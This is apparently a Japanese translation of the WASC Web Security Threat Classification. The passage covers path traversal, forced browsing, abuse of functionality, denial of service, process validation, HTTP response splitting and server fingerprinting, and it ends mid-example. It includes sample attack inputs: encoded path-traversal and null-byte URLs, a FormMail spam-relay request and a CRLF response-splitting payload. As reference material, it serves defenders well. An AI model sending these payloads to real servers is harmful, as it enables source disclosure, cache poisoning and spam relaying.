Web サーバが URL パスのパス乗り換えの企みを適切に抑えていても、まだ Web アプリケーション自体にユーザの入力を正しく扱えない、という脆弱さが存在するかもしれません。この問題は、テンプレートを使用したり、ファイルから静的なテキストを読み込んだりする Web アプリケーションでよく起こります。様々な攻撃において、元の URL パラメタの値は、Web アプリケーションの動的なスクリプトのファイル名の一つに置き換えられます。その結果、ファイルは実行形式のスクリプトではなく、テキストとして解釈されるので、ソースコードがあらわになります。

これらのテクニックは、さらにドット(“.”)のようなスペシャルキャラクタを使い、カレントワーキングディレクトリのリストを見せたり、不完全なファイル拡張子チェックをすり抜けるために「%00」NUL キャラクタを使ったりします。

例

Web サーバに対するパス乗り換え攻撃

攻撃: `http://example/../../../../some/file`

攻撃: `http://example/..%255c..%255c..%255csome/file`

攻撃: `http://example/..%u2216..%u2216some/file`

Web アプリケーションに対するパス乗り換え攻撃

オリジナル: `http://example/foo.cgi?home=index.htm`

攻撃: `http://example/foo.cgi?home=foo.cgi`

上記の例では、home 変数の値はコンテンツとして扱われるので、Web アプリケーションは foo.cgi のソースコードをあらわにしてしまいます。このケースで注意する点は、攻撃者が攻撃を成功させるために、不正なキャラクタやパス乗り換え用のキャラクタを何も必要としない点です。攻撃者は同じディレクトリにある別のファイルを index.html とみなし、ターゲットにします。

スペシャルキャラクタを使った Web アプリケーションに対するパス乗り換え攻撃

オリジナル:

`http://example/scripts/foo.cgi?page=menu.txt`

攻撃:

`http://example/scripts/foo.cgi?page=../scripts/foo.cgi%00txt`

上記の攻撃では、Web アプリケーションがスペシャルキャラクタを使い、foo.cgi のソースコードをあらわにします。「..」列は、現在いるディレクトリの一つ上のディレクトリに移動するのに使われ、/scripts ディレクトリに入ります。「%00」列は、ファイル拡張子のチェックをすり抜けさせたり、ファイルを読み込む際に、拡張子を取り去ったりする場合にも使われます。

参考文献

“CERT® Advisory CA-2001-12 Superfluous Decoding Vulnerability in IIS”

<http://www.cert.org/advisories/CA-2001-12.html>

“Novell Groupwise Arbitrary File Retrieval Vulnerability”

<http://www.securityfocus.com/bid/3436/info/>

5.4 リソースの位置を推測する

リソース位置の推測は、Web サイトの隠しコンテンツや機能をあらわにする攻撃技術です。公開を望まないコンテンツを経験から推測することで、総当たりで探し出します。置きっぱなしになっていると思われるファイルには、テンポラリファイルやバックアップファイル、設定ファイル、サンプルファイルがあります。総当たりで探すのは簡単です。というのは、隠しファイルはありがちな命名規則によるものが多く、決まった場所にある場合が多いからです。これらのファイルは、Web アプリケーション内部の秘密情報やデータベース情報、パスワード、マシン名等の秘密領域へのファイルパスです。そして脆弱かもしれない部分を公開するかもしれません。攻撃者にとって、この情報開示は貴重です。

リソースの置き場所を推測することは、強制ブラウジング(Forced Browsing)やファイル・ディレクトリの列挙(File Enumeration, Directory Enumeration)などとしても知られています。

例

どの攻撃者も、誰でも利用できる Web サーバに対しては、任意のファイルやディレクトリへリクエストが出せます。リソースの有無は、Web サーバの HTTP レスポンスコードで判断できます。リソースの位置を推測する攻撃には、いくつか種類があります。

一般的なファイルやディレクトリを手当たり次第に探す

```
/admin/  
/backup/  
/logs/  
/vulnerable_file.cgi
```

既存のファイル名に拡張子を付ける(/test.asp)

```
/test.asp.bak  
/test.bak  
/test
```

6 ロジックを狙った攻撃(Logical Attack)

このセクションでは、Web サーバのロジックフローを悪用することに焦点を当てます。アプリケーションのロジックは、ある動作を実行するために使用されることを前提にしたフローです。パスワード復旧やアカウント登録、オークションへの入札、Eコマースでの購入は、すべてアプリケーションロジックです。Web サイトは特定の処理を完了させるため、ユーザに複数ステップのプロセスを正しく踏むように求めます。攻撃者はこの機能を迂回したり、悪用したりして、Web サイトとユーザを困らせます。

6.1 機能の悪用

機能の悪用は、Web サイト自体が持っている特徴や機能を利用し、アクセス制御機能を破壊したり、乗っ取ったり、回避したりします。Web サイトの機能には、それがセキュリティ機能であっても、予想外の動きをするものがあるかもしれません。機能のある部分が悪用に対して無防備だと、恐らく攻撃者は他のユーザに迷惑をかけ、ことによるとシステム全体を乗っ取るかもしれません。Web サイトや Web アプリケーションによって、悪用の可能性とその程度は様々です。

機能を悪用する技術は、他の種類の Web アプリケーション攻撃と密接に関連している場合がよくあります。符号化攻撃を行い、Web 検索機能をリモート Web プロキシへと変えてしまうクエリ文字列を持ち込むのも、その例です。機能の悪用は、攻撃力を増やすのにもよく使われます。た

例えば、攻撃者はクロスサイトスクリプティングの一部を Web のチャットセッションに入れ、組み込みの拡散機能として利用し、不正なコードをそのサイト全体に蔓延させます。

視点を広げると、コンピュータベースのシステムに対する効果的な攻撃はすべて、機能の悪用を伴います。すなわちこの攻撃は、元の機能にはほとんど手を加えず、便利な Web アプリケーションを不正な目的に使い、不正なものとしてしまう、と言えます。

例

機能を悪用する例は次の通りです。a) Web サイトの検索機能を使い、Web ディレクトリの外にある機密のファイルにアクセスする。b) ファイルをアップロードするサブシステムを狂わせ、内部の重要な設定ファイルを置き換える。c) Web のログインシステムに正しいユーザ名と間違ったパスワードを送り続けて DoS 攻撃をすることで、ログインの再試行回数を超えさせ、正規ユーザを締め出してしまう。その他実際にある攻撃は次の通りです。

Matt Wright FormMail

Perl ベースの Web アプリケーションの「FormMail」は、通常ユーザが入力したフォームデータを、あらかじめ決められた電子メールアドレスへ転送するのに利用されます。

このスクリプトは使いやすく、Web サイト上でフィードバックを集めるのに便利です。それが理由で、FormMail スクリプトはオンラインの CGI スクリプトとしてとても人気のあるプログラムになりました。ただ残念なことに、この実用性の高さを使いやすさがあだとなり、リモートの攻撃者がリモートの受信者の誰にでも電子メールを送りつけられるようになります。つまり、この Web アプリケーションは、単独のブラウザの Web リクエストによって、スパムリレーエンジンに変身してしまいます。

攻撃者は、望みの電子メールをパラメタとした URL を作り、次のような HTTP GET を CGI に送ればよいだけです。

<http://example/cgi-bin/FormMail.pl?recipient=email@victim.example&message=you%20got%20spam>

電子メールは Web サーバを送り手として、指示されたままに作成されるので、攻撃者は Web アプリケーションへ完全にお任せできます。このバージョンのスクリプトには、セキュリティ機構は何もありません。したがって、唯一とれる防御手段は、ソースを書き換え、直接電子メールアドレスを入れてしまうことです。さもなければ、強制的にサイトから Web アプリケーションを完全に削除するか、置き換えることしかできません。

Macromedia Cold Fusion

Web アプリケーションに入っている管理ツールは、想定外の目的で簡単に利用されてしまう場合があります。たとえば Macromedia Cold Fusion は、デフォルト状態でソースコードを見るための組み込みモジュールを持っており、例外なく利用可能です。このモジュールを悪用すると、Web アプリケーションの重要な情報が漏洩することになりかねません。この種のモジュールは、サンプルファイルでも外部機能でもなく、危ないシステムコンポーネントであるケースがよくあります。このコンポーネントは既存の Web アプリケーションシステムと関係しているため、この機能を無効にするには問題が多々あります。

Smartwin CyberOffice ショッピングカートの価格変更

攻撃者が Web アプリケーションの動作を変更するために思いがけない方法でデータを改ざんする時に、機能の悪用が起こります。たとえば、CyberOffice のショッピングカートは、Web フォームに存在する隠し価格フィールドを変えることでやられます。その Web ページを普通にダウンロードして修正し、望みの値を価格に設定した後、再実行します。

参考文献

“*FormMail Real Name/Email Address CGI Variable Spamming Vulnerability*”

<http://www.securityfocus.com/bid/3955>

“CVE-1999-0800”

<http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0800>

“CA Unicenter pdmcgi.exe View Arbitrary File”

http://www.osvdb.org/displayvuln.php?osvdb_id=3247

“PeopleSoft PeopleBooks Search CGI Flaw”

http://www.osvdb.org/displayvuln.php?osvdb_id=2815

“iisCART2000 Upload Vulnerability”

<http://secunia.com/advisories/8927/>

“PROTEGO Security Advisory #PSA200401”

<http://www.protego.dk/advisories/200401.html>

“Price modification possible in CyberOffice Shopping Cart”

<http://archives.neohapsis.com/archives/bugtraq/2000-10/0011.html>

6.2 サービス拒否

サービス拒否(DoS)は、Webサイトが一般ユーザへのサービスを妨害しようとする攻撃技術です。DoS攻撃は、ネットワーク層に対するものが一般的ですが、アプリケーション層でも可能です。この悪意ある攻撃後によって、システムの重要なリソースが枯渇し、脆弱性が利用され、機能が悪用される恐れがあります。

DoS攻撃は、Webサイトで利用可能な全システムリソース-CPU、メモリ、ディスク領域等-を幾度となく使い尽くそうとします。これら3つの重要なリソースのどれを使い切っても、通常Webサイトへアクセスができなくなります。

Webサーバやデータベースサーバ、認証サーバをはじめとする今日のWebアプリケーション環境では、アプリケーション層のDoS攻撃は、それぞれ独立したコンポーネントをターゲットにします。多量の接続を必要と

するネットワーク層のDoS攻撃とは違い、アプリケーション層のDoS攻撃は実行するのがもっと簡単です。

例

病歴のレポートを作成する医療 Web サイトを例にしましょう。レポートの依頼があるたびに、Web サイトはデータベースに問い合わせ、1 つの社会保障番号に該当する全記録を取ってきます。(全ユーザ対象の)データベースに何十万件の記録が保管されているとすると、ユーザが病歴レポートを受け取るのに、3分は待つ必要があるでしょう。該当する記録を検索するこの3分の間、データベースサーバのCPUは60%の稼働率になります。

よくあるアプリケーション層のDoS攻撃は、病歴のレポートを作成する同じリクエストを10個投げます。このリクエストによってWebサイトはDoS状態になり、データベースサーバのCPUは100%の稼働率に達してしまうでしょう。この時点で、一般ユーザはシステムへほとんどアクセスできない状態になります。

特定のユーザをターゲットにした DoS

侵入者はWebサイトのユーザとして、繰り返しログインしようとします。それもわざと不正なパスワードを使って。こうなると、結局そのユーザは締め出されてしまいます。

データベースサーバをターゲットにした DoS

侵入者はSQLインジェクション技術を使い、データベースを変更し、システムを使い物にならなくします(たとえば、全データを削除したり、全ユーザ名を削除したり等)。

Webサーバをターゲットにした DoS

侵入者はバッファオーバーフロー技術を使い、Webサーバのプロセスをクラッシュさせる特別に作り込んだリクエストを送り込み、一般ユーザがシステムにほとんどアクセスできない状態にします。

6.3 自動化の停止が不適切

自動化の停止が不適切だと、手動によってのみ Web サイトで実行すべきプロセスを、攻撃者が自動化してしまいます。自動化攻撃から該当する Web サイトの機能を守ってください。

自動ロボット(プログラム)や攻撃者を抑えずにいと、Web サイトの機能を繰り返し実行し、システムを犯して餌食にしてしまいます。自動ロボットは恐らく1分間に何千ものリクエストを実行し、性能やサービスの低下を引き起こします。

たとえば、自動ロボットが数分間に一万件もの新しいアカウントをサインアップできないようにしてください。同様に、自動ロボットが掲示板に繰り返し投稿し、他のユーザに迷惑をかけないようにしてください。人間だけが操作をできるように歯止めをかけてください。

参考文献

Telling Humans Apart (Automatically)

<http://www.captcha.net/>

"Ravaged by Robots!", By Randal L. Schwartz

<http://www.webtechniques.com/archives/2001/12/perl/>

".Net Components Make Visual Verification Easier", By JingDong (Jordan) Zhang

<http://go.cadwire.net/?3870,3,1>

"Vorras Antibot"

<http://www.vorras.com/products/antibot/>

"Inaccessibility of Visually-Oriented Anti-Robot Tests"

<http://www.w3.org/TR/2003/WD-turingtest-20031105/>

6.4 不適切なプロセスの検証

プロセスの検証が不適切だと、攻撃者は Web サイトのアプリケーションのフロー制御を回避してしまいます。プロセスを通じてユーザの状態を検証し、強制しないと、Web サイトは悪用と不正行為に脆弱になるでしょう。

ユーザが Web サイトのある機能を実行する際、ユーザは決められた順序で進んでいくものと、アプリケーションは想定しているでしょう。

ユーザがあるステップを誤って実行したり、順序を間違ったりすると、データの完全性が崩れます。複数ステップを踏むプロセスの例として、送金やパスワード復旧、購入手続き、アカウントのサインアップ等があります。恐らくこのようなプロセスは、あらかじめ決められたステップを必要とします。

複数ステップを必要とするプロセスを正常に機能させるには、ユーザがプロセスフローにいる間、そのユーザの状態を把握している必要があります。Web サイトは、通常ユーザの状態をクッキーや hidden HTML フィールドで追跡します。しかし、追跡結果が Web ブラウザ内のクライアント側に保存される場合は、データの完全性を検査しなければいけません。そうしないと、攻撃者は現在の状態を改ざんし、想定していたやり取り方法を回避してしまうでしょう。

例

あるオンラインのショッピングカートシステムは、ユーザが製品 A を購入すると値引きする、としましょう。ユーザは製品 A ではなく、製品 B を購入したいと思っています。製品 A と B をショッピングカートに入れ、精算手続きに入り、そのユーザに値引きが適用されます。この時ユーザが精算手続きを抜け出し、製品 A を削除し、次のステップに行く前に値をそのまま変更します。そして、再度精算手続きに入ると、以前の精算手続きで製品 A に適用済みの値引きがそのままになり、購入価格はごまかされたままになります。

参考文献

“Dos and Don'ts of Client Authentication on the Web”, Kevin Fu, Emil Sit,
Kendra Smith, Nick Feamster – MIT Laboratory for Computer Science
<http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf>

連絡先

Web Application Security Consortium

<http://www.webappsec.org>

お問い合わせは電子メールで contact@webappsec.org までお願いします。

【訳注：日本語版の翻訳に関する間違いは、高橋 聡(hisai@din.or.jp)までご連絡ください。】

付録

Web アプリケーションのセキュリティ攻撃には、現時点では分類ができないものがいくつかあります。この付録では、それらの攻撃方法の一部について要約します。この課題については、Threat Classification の第二版で体系立てて扱う予定です。

1.1 HTTP レスポンスの分割

HTTP レスポンスを分割する攻撃は、(少なくとも)常に 3 つ部分から構成されています。

- Web サーバ-HTTP レスポンスの分割が可能なセキュリティホールがある。
- ターゲット-攻撃者にかわって Web サーバとやり取りする物。キャッシュサーバ(フォワード・リバースプロキシ)やブラウザ(多分ブラウザのキャッシュ)であるケースが多い。
- 攻撃者-攻撃を仕掛ける人。

HTTP レスポンスの分割の要は、攻撃者が単独の HTTP リクエストを送って、Web サーバに出力を強いる能力にあります。そしてこの出力は、通常ターゲットによって 1 つではなく 2 つの HTTP レスポンスと解釈されます。最初のレスポンスは、攻撃者によってある程度制御されるでしょうが、それ程重要ではありません。重要なのは、攻撃者が完全に制御する 2 番目のレスポンスで、HTTP レスポンスの HTTP の status 行から HTTP レスポンスの body の最後のバイトに該当します。これが可能になると、攻撃者はターゲット経由でリクエストを送る攻撃を実現します。最初のリクエストは Web サーバから 2 つのレスポンスを引き出し、2 番目のリクエストは Web サーバ上にある「被害を受けていない」リソースに対する場合が普通です。しかし、2 番目のリクエストはターゲットによって 2 番目の HTTP レスポンスと組み合わせられます。これは攻撃者が支配しています。したがって、攻撃者はターゲットをだまし、(2 番目のリクエストで指定された)Web サーバ上のある特定のリソースを、サーバの HTTP レ

スポンズ(サーバのコンテンツ)だと信じ込ませます。これは、Web サーバを經由して攻撃者が偽造したデータに他なりません-これが 2 番目のレスポンスになります。

HTTP レスポンスを分割する攻撃は、サーバのスク립トが HTTP レスポンスヘッダーにユーザデータを組み込むところで行われます。そのスク립トが、ユーザデータをリダイレクションレスポンス(HTTP status コードの 3xx)のリダイレクション URL に組み込む場合や、レスポンスがクッキーに設定する時に、そのスク립トがユーザデータをクッキー値や名前に組み込む場合に発生するのが普通です。

最初のケースでは、リダイレクション URL は Location HTTP レスポンスヘッダーの一部になり、クッキーを設定する次のケースでは、クッキーの名前・値が Set-Cookie HTTP レスポンスヘッダーの一部になります。

この攻撃の要は、CR と LF の挿入にあります。つまり、アプリケーションが単独の HTTP メッセージを想定していたところに CR と LF を挿入することで、2 番目の HTTP メッセージを作り出します。

CRLF インジェクションは、アプリケーションが送る単独の HTTP レスポンスのデータを変更するその他の攻撃(たとえば参考文献[2])でも利用されますが、この場合 CRLF の役割は多少異なります-最初の(想定済み)HTTP レスポンスメッセージを終了させ、(攻撃者が作成し、アプリケーションがまったく関知しない)別の HTTP レスポンスメッセージを作成します(したがって攻撃という名前が付きます)。

このインジェクションが可能になるのは、(Web サーバ上で動作している)アプリケーションが未検証のユーザデータをリダイレクションもしくはクッキーの設定に入れたり、何らかの方法を使って結果的にユーザデータを HTTP レスポンスヘッダーの一部にさせたりする場合です。

HTTP レスポンスを分割すると、さまざまな攻撃が仕掛けられます。

- クロスサイトスク립ティング(XSS):これまでのところでは、クライアントに IE を使い、すべての location ヘッダーを制御できない限りは、リダイレクションスク립トを使ってもサイト上で XSS 攻撃を実行するのは不可能でした。それが可能になります。

- Web のキャッシュを改ざんする(書き換える):これは新しい攻撃です。攻撃者は、ターゲット(たとえば、ある種のキャッシュサーバ-この攻撃は、Squid 2.4、NetCache 5.2、Apache Proxy 2.0 とその他のキャッシュサーバで確認済み)へ 2 番目のリクエストに対する 2 番目のレスポンスをキャッシュさせればよいだけです。「http://web.site/index.html」に 2 番目のリクエストを送り、攻撃者が完全に制御した 2 番目のレスポンスをターゲット(キャッシュサーバ)にキャッシュさせる例を挙げます。これは Web サイトを改変するのに有効で、少なくとも同じキャッシュサーバを利用している他のクライアントが影響を受けます。当然ながら改変の他にも攻撃者は、セッションクッキーを盗んだり、そのセッションクッキーをあらかじめ決めた値に「修正」したりできます。
- ユーザにまたがる攻撃(単独ユーザが単独ページで一時的な書き換えにあらう):攻撃の変形の一つで、攻撃者は 2 番目のリクエストをしなくても攻撃が可能です。ちょっと意外ですが、ターゲットが複数ユーザ間でサーバに対して同じ TCP 接続を共有している場合(キャッシュサーバがこのケースに該当)が狙いどころです。ターゲット経由でリクエストを Web サーバに送る次のユーザは、攻撃者が作った 2 番目のレスポンスをターゲットから受け取るでしょう。結果として、Web サイトのクライアントは、攻撃者が作り込んだリソースを受け取ることとなります。攻撃者はこの攻撃によって、単独ユーザがリクエストした単独のページでサイトを「書き換え」ます(ローカルで一時的な書き換え)。前述の項目と同様に、攻撃者は書き換えだけではなく、セッションクッキーを盗んだり、設定したりできます。
- ユーザ固有の情報があるページを乗っ取る:この攻撃では、攻撃者がユーザにかわってサーバからのユーザ向けレスポンスを受け取れるようになります。したがって、攻撃者は秘密であるかもしれないユーザ固有の情報にアクセスできます。
- ブラウザのキャッシュを汚す:これは「Web のキャッシュを改ざんする」の特殊なケースです(IE6.0 で確認済み)。XSS に幾分似ていて、両者とも攻撃者が個々のクライアントをターゲットにする必要があります。しかし XSS とは違い、ブラウザのキャッシュに留まってリソースを脅かすので、影響が長期間に及びます。

例

下記の JSP ページを検討してみます(/redir_lang.jsp に存在すると仮定します)。

```
<%  
response.sendRedirect("/by_lang.jsp?lang="+  
request.getParameter("lang"));  
%>
```

lang=English というパラメタで/redir_lang.jsp を実行すると、/by_lang.jsp?lang=English にリダイレクトします。レスポンスは普通下記のようになります(BEA WebLogic 8.1 SP1-このサーバについては、参考文献[1]の「研究所の環境」に詳細があります)。

```
HTTP/1.1 302 Moved Temporarily  
Date: Wed, 24 Dec 2003 12:53:28 GMT  
Location:  
http://10.1.1.1/by_lang.jsp?lang=English  
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20  
23:06:40 PDT 2003 271009 with  
Content-Type: text/html  
Set-Cookie:  
JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4Y  
OHZ62RXjApqwBE!-1251019693; path=/  
Connection: Close
```

```
<html><head><title>302 Moved  
Temporarily</title></head>  
<body bgcolor="#FFFFFF">  
<p>This document you requested has moved  
temporarily.</p>  
<p>It's now at <a  
href="http://10.1.1.1/by_lang.jsp?lang=English">h  
ttp://10.1.1.1/by_lang.jsp?lang=English</a>.</p>  
</body></html>
```

見て分かるように、lang パラメタは Location レスポンスヘッダーに組み込まれています。

ここで HTTP レスポンスを分割する攻撃に取り掛かります。English という値を送らずに、ある値を送ります。その値には URL エンコードされた

CRLF 列を使い、現在のレスポンスを終了させ、新たに追加のレスポンスを送ります。次がその例です。

```
/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%
200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-T
ype:%20text/html%0d%0aContent-Length:%2019%0d%0a%
0d%0a<html>Shazam</html>
```

結果は下記の出カストリームで、TCP 接続で Web サーバが送り出します。

```
HTTP/1.1 302 Moved Temporarily
Date: wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0
```

```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
```

```
<html>Shazam</html>
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20
23:06:40 PDT 2003 271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK
7In7IyrcST9Uss!-1251019693; path=/
[...]
```

解説:ターゲットは、この TCP ストリームを下記のように解析します。
最初の HTTP レスポンス。これは 302(リダイレクション)というレスポンスです。このレスポンスは青です。
2 番目の HTTP レスポンス。これは 200 というレスポンスになり、内容は 19 バイトの HTML から成ります。このレスポンスは赤です。
余計なデータ-2 番目のレスポンスの終わり以降はすべて余計で、HTTP 規格に適合していません。

したがって、攻撃者が 2 つのリクエストを送り込むと、最初のリクエストは次のようになります。

```
/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%
200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-T
ype:%20text/html%0d%0aContent-Length:%2019%0d%0a%
0d%0a<html>Shazam</html>
```

2 番目は下記になります。

```
/index.html
```

ターゲットは、最初のリクエストが最初のレスポンスに対応するとみなすでしょう。

```
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0
```

そして、(/index.html に対する)2 番目のリクエストは、2 番目のレスポンスに対応するとみなすでしょう。

```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
```

```
<html>Shazam</html>
```

これで、攻撃者はターゲットをごまかせることができました。

参考文献[1]で説明してあるように、この例はとても単純です。この例では、ターゲットが TCP ストリームを解釈する際の問題や不適切なデータについての課題、データインジェクションに関わる問題、強制的にキャッシュする方法について、考慮していない点があります。

これ以上の説明は、参考文献[1]の「実践的な検討」セクションで論じられています。

解決方法

データを検証してください。HTTP レスポンスヘッダーにデータを組み込む前に、CR や LF (と他の有害な文字)を削除してください。特にクッキーを設定する時やリダイレクトする時には注意してください。CRLF インジェクションを防ぐのに、サードパーティの製品が利用できます。アプリケーションを設置する前に、そのようなセキュリティホールが存在をテストする製品もあります。

さらに対処するなら、

- 必ず最新のアプリケーションエンジンを利用すること。
- 必ず一意の IP アドレスを使って、アプリケーションにアクセスすること(つまり、同じ IP アドレスは、他のアプリケーションに使用しないこと。バーチャルホスティングを利用する)。

参考文献

[1] "Divide and Conquer – HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics" by Amit Klein,
http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf

[2] "CRLF Injection" by Ulf Harnhammar (BugTraq posting),
<http://www.securityfocus.com/archive/1/271515>

1.2 Web サーバやアプリケーションの特定

Web サーバやアプリケーションの特定は、(人気があるスキャナー、Nmap を使った)TCP/IP の特定と似ています。違う点は、前者が OSI モデルのアプリケーション層に焦点を当てているのに対し、後者はトランスポート層に焦点を当てている点です。Web サーバとアプリケーションの特定を行う背景には、ターゲットとなるソフトウェアの正確なプロファイルと設定を作る意図があり、かつ次の項目を分析することで、ネットワークアーキテクチャやトポロジーさえも作成できます。

HTTP プロトコルの実装の違い
HTTP レスポンスヘッダー
ファイル拡張子(.asp vs. jsp)
クッキー(ASPSESSION)
エラーページ(デフォルト?)
ディレクトリ構造と名前変換(Windows/Unix)
Web 開発者インタフェース(Frontpage/WebPublisher)
Web 管理者インタフェース(iPlanet/Comanche)
OS の識別とのミスマッチ(Linux 上の IIS?)

攻撃者は、ターゲットとなる Web の存在を特定し、できるだけ情報を挙げていく手順をよくとります。この情報を使い攻撃者は、攻撃手法を練り上げ、ターゲットとなるホストが利用しているソフトウェアの種類やバージョンに存在する脆弱性を効果的に利用します

想定される攻撃の影響についての情報をきちんと把握することは、非常に重要です。というのは、セキュリティの脆弱性(バッファオーバーフロー等)の多くは、特定のソフトウェアのベンダーやバージョン番号に左右されるからです。

また、ソフトウェアのバージョンを正しく特定し、脆弱さに的を絞ると、攻撃の効果が上がり、全体的な攻撃の「ノイズ」が下がります。このような理由で、Web サーバとアプリケーションが自分の正体を明かしてしまうと、面倒なことになります。

HTTP の RFC 2068 では、まさにこの点が論点になっていて、「Server」レスポンスヘッダーが表示するソフトウェアのバージョンを隠す処置を施すように、Web 管理者へ勧告しています。

「注意:サーバの特定のソフトウェアのバージョンが明らかになると、セキュリティホールがあると分かっているソフトウェアへの攻撃に対して、サーバマシンがさらに脆弱になります。サーバを実装する場合には、この項目を設定可能なオプションにするように推奨します」

ターゲットが使用している Web サーバやアプリケーションの種類やバージョンは、実際は他の公開情報による関連情報を収集することで推測できます。したがってここでは、最近の Web 特定ツールが利用している HTTP プロトコルの実装の分析にだけ焦点を当てます。

例

次の例はすべて、ターゲットとなる Web サーバが HTTP リクエストを組み立てたり、解釈したりする分析技術について説明しています。

HTTP プロトコルの実装の違い

語彙的なもの - 語彙の特徴は、実際に使われている単語や句、大文字小文字の扱い、HTTP レスポンスヘッダーで表示される句読法といった、様々な分野に渡っています。

レスポンスコードメッセージ - エラーコードの 404 は Apache では「Not Found」を知らせますが、Microsoft IIS/5.0 では「Object Not Found」です。

<pre>Apache 1.3.29 - 404 # telnet target1.com 80 Trying target1.com... Connected to target1.com. Escape character is '^]'. HEAD /non-existent-file.txt HTTP/1.0 HTTP/1.1 404 Not Found Date: Mon, 07 Jun 2004 14:31:03 GMT Server: Apache/1.3.29 (Unix) mod_perl/1.29 Connection: close Content-Type:</pre>	<pre>Microsoft-IIS/4.0 - 404 # telnet target2.com 80 Trying target2.com... Connected to target2.com. Escape character is '^]'. HEAD /non-existent-file.txt HTTP/1.0 HTTP/1.1 404 Object Not Found Server: Microsoft-IIS/4.0 Date: Mon, 07 Jun 2004 14:41:22 GMT Content-Length: 461</pre>
--	--

<pre>text/html; charset=iso-8859-1 Connection closed by foreign host.</pre>	<pre>Content-Type: text/html Connection closed by foreign host.</pre>
--	--

ヘッダーの表現方法 - 「Content-Length」ヘッダーであったり、「Content-length」であったりします。

<pre>Netscape-Enterprise/6.0 - HEAD # telnet target1.com 80 Trying target1.com... Connected to target1.com. Escape character is '^]'. HEAD / HTTP/1.0 HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Date: Mon, 07 Jun 2004 14:55:25 GMT Content-length: 26248 Content-type: text/html Accept-ranges: bytes Connection closed by foreign host.</pre>	<pre>Microsoft-IIS/4.0 - HEAD # telnet target2.com 80 Trying target2.com... Connected to target2.com. Escape character is '^]'. HEAD / HTTP/1.0 HTTP/1.1 404 Object Not Found Server: Microsoft-IIS/4.0 Date: Mon, 07 Jun 2004 15:22:54 GMT Content-Length: 461 Content-Type: text/html Connection closed by foreign host.</pre>
---	--

構文的なもの - HTTP RFC によれば、Web のやり取りすべては、両グループがお互い理解できるように、構造と構成をあらかじめ決めておく必要があります。HTTP レスポンスヘッダーの順序と形式は相変わらず様々です。

ヘッダーの順序 - Apache サーバは常に「Server」ヘッダーの前に「Date」ヘッダーを置きますが、Microsoft-IIS はその逆です。

```
Apache 1.3.29- HEAD                                Microsoft-IIS/4.0
# telnet target1.com 80                             - HEAD
Trying target1.com...                               # telnet
Connected to target1.com.                           target2.com 80
Escape character is '^]'.                           Trying
HEAD / HTTP/1.0                                     target2.com...
                                                    Connected to
                                                    target2.com.
                                                    Escape character
                                                    is '^]'.
                                                    HEAD / HTTP/1.0

HTTP/1.1 200 OK                                     HTTP/1.1 404
Date: Mon, 07 Jun 2004 15:21:24                   Object Not Found
GMT                                                  Server:
Server: Apache/1.3.29 (Unix)                       Microsoft-IIS/4.0
mod_perl/1.29                                       Date: Mon, 07 Jun
Content-Location:                                  2004 15:22:54 GMT
index.html.en                                       Content-Length:
Vary:                                               461
negotiate,accept-language,                         Content-Type:
accept-charset                                      text/html
TCN: choice
Last-Modified: Fri, 04 May 2001                    Connection closed
00:00:38 GMT                                       by foreign host.
ETag:
"4de14-5b0-3af1f126;40a4ed5d"
Accept-Ranges: bytes
Content-Length: 1456
Connection: close
Content-Type: text/html
Content-Language: en
Expires: Mon, 07 Jun 2004
15:21:24 GMT

Connection closed by foreign
host.
```

リストの順序 - HTTP リクエストで OPTIONS メソッドが送られると、その URI で許可されているメソッドのリストが「Allow」ヘッダーに入って返されます。Apache は「Allow」ヘッダーだけを返すのに対し、IIS は「Public」ヘッダーも返します。

```
Apache 1.3.29- OPTIONS      Microsoft-IIS/5.0 -
                             OPTIONS
# telnet target1.com 80    # telnet target2.com 80
Trying target1.com...     Trying target2.com...
Connected to               Connected to
target1.com.              target2.com.
Escape character is       Escape character is
'^]'.                     '^]'.
OPTIONS * HTTP/1.0       OPTIONS * HTTP/1.0

HTTP/1.1 200 OK           HTTP/1.1 200 OK
Date: Mon, 07 Jun 2004   Server:
16:21:58 GMT             Microsoft-IIS/5.0
Server: Apache/1.3.29    Date: Mon, 7 Jun 2004
(Unix) mod_perl/1.29     12:21:38 GMT
Content-Length: 0        Content-Length: 0
Allow: GET, HEAD,        Accept-Ranges: bytes
OPTIONS, TRACE           DASL: <DAV:sql>
Connection: close        DAV: 1, 2
                           Public: OPTIONS, TRACE,
                           GET, HEAD, DELETE, PUT,
                           POST, COPY, MOVE, MKCOL,
                           PROPFIND, PROPPATCH,
                           LOCK, UNLOCK, SEARCH
                           Allow: OPTIONS, TRACE,
                           GET, HEAD, DELETE, PUT,
                           POST, COPY, MOVE, MKCOL,
                           PROPFIND, PROPPATCH,
                           LOCK, UNLOCK, SEARCH
                           Cache-Control: private

Connection closed by     Connection closed by
foreign host.             foreign host.
```

語義的なこと - HTTP レスポンスヘッダーで返ってくる単語や句の他に、適切なリクエストとそうでないリクエスト両者の解釈に、明らかな違いがあります。

特別なヘッダーの存在 - サーバはレスポンスに入れるヘッダーを選択できます。ヘッダーには、規格で要求されるものもありますが、たいていのヘッダー(たとえば、ETag)はオプションです。下記の例は Apache サーバのレスポンスヘッダーで、IIS サーバにはない ETag や Vary、Expires といった追加項目が存在します。

```
Apache 1.3.29- HEAD                                Microsoft-IIS/4.0
                                                    - HEAD
# telnet target1.com 80                            # telnet
Trying target1.com...                             target2.com 80
Connected to target1.com.                          Trying
Escape character is '^]'.                          target2.com...
HEAD / HTTP/1.0                                    Connected to
                                                    target2.com.
                                                    Escape character
                                                    is '^]'.
